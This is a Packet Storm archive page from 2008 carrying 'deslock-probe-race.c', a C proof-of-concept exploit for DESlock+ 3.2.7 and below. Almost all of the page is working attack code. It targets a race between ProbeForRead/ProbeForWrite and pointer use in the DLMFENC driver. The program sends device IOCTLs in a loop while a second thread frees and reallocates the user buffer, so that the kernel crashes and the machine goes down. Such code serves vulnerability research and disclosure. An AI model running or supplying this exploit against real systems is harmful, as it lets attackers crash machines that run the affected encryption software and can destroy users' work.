what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

deslock-probe-race.c

deslock-probe-race.c
Posted Sep 20, 2008
Authored by mu-b | Site digit-labs.org

DESlock+ versions 3.2.7 and below local kernel race condition proof of concept denial of service exploit.

tags | exploit, denial of service, kernel, local, proof of concept
SHA-256 | 56b9e98449f73ed6597c17181fd6cf4b2214eeee2ca449e24187029fa75c03c6

deslock-probe-race.c

Change Mirror Download
/* deslock-probe-race.c
*
* Copyright (c) 2008 by <mu-b@digit-labs.org>
*
* DESlock+ <= 3.2.7 local kernel race condition DoS POC
* by mu-b - Fri 22 Feb 2008
*
* - Tested on: DLMFENC.sys 1.0.0.28
*
* race conditions between calls to ProbeForRead/ProbeForWrite
* and pointer use.
*
* "Note that subsequent accesses by the driver to the user-mode
* buffer must also be encapsulated within a try/except block;"
* - https://msdn.microsoft.com/en-us/library/ms797108.aspx
*
* https://www.cctmark.gov.uk/CCTMAwards/DataEncryptionSystemsLtd/tabid/103/Default.aspx
* - I wonder what that says about CESG CCTM?
*
* - Private Source Code -DO NOT DISTRIBUTE -
* https://www.digit-labs.org/ -- Digit-Labs 2008!@$!
*/

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>

#define DLMFENC_IOCTL 0x0FA4204C
#define DLMFENC_FLAG 0xDEADBEEF

#define ARG_SIZE(a) ((a-(sizeof (int)*2))/sizeof (void *))

struct ioctl_req {
int flag;
int req_num;
void *arg[ARG_SIZE(0x20)];
};

void
hammer_thread (void *zpage)
{
BOOL result;

printf ("* [child] using page @0x%08X\n", zpage);

while (1)
{
result = VirtualFree (zpage, 0, MEM_RELEASE);
if (result == 0)
{
fprintf (stderr, "* [child] VirtualFree failed\n");
exit (EXIT_FAILURE);
}

zpage = VirtualAlloc ((LPVOID) 0x41000000, 0x10000,
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (zpage == NULL)
{
fprintf (stderr, "* [child] VirtualAlloc failed\n");
exit (EXIT_FAILURE);
}
}
}

int
main (int argc, char **argv)
{
struct ioctl_req req;
HANDLE hFile, hThread;
DWORD rlen, dThread, nTotal, nFail;
LPVOID zpage;
BOOL result;

printf ("DESlock+ <= 3.2.7 local kernel race condition DoS PoC\n"
"by: <mu-b@digit-labs.org>\n"
"https://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

fflush (stdout);
hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
exit (EXIT_FAILURE);
}

zpage = VirtualAlloc ((LPVOID) 0x41000000, 0x10000,
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (zpage == NULL)
{
fprintf (stderr, "* VirtualAlloc failed\n");
exit (EXIT_FAILURE);
}
printf ("* allocated page: 0x%08X [%d-bytes]\n",
zpage, 0x10000);

hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) hammer_thread,
zpage, 0, &dThread);
if (hThread == NULL)
{
fprintf (stderr, "* CreateThread failed\n");
exit (EXIT_FAILURE);
}

nTotal = nFail = 0;
while (1)
{
memset (&req, 0, sizeof req);
req.flag = DLMFENC_FLAG;
req.req_num = 4;
req.arg[0] = (void *) zpage;

nTotal++;
result = DeviceIoControl (hFile, DLMFENC_IOCTL,
&req, sizeof req, &req, sizeof req, &rlen, 0);
if (!result)
{
if (!(nFail++ % 1024))
{
char *p_arr[] = { "DESLock", "ProbeForWrite", "a", "races",
"dull", "make", "boy" };
fprintf (stderr, "* total: %d [failed: %d, %f%%] [%13s]\r",
nTotal, nFail, (((double) nFail)/nTotal)*100, p_arr[nFail%7]);
fflush (stderr);
}
}
}

/* unreachable! */
printf ("* hmmm, you didn't STOP the box?!?!\n");

CloseHandle (hFile);

return (EXIT_SUCCESS);
}


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close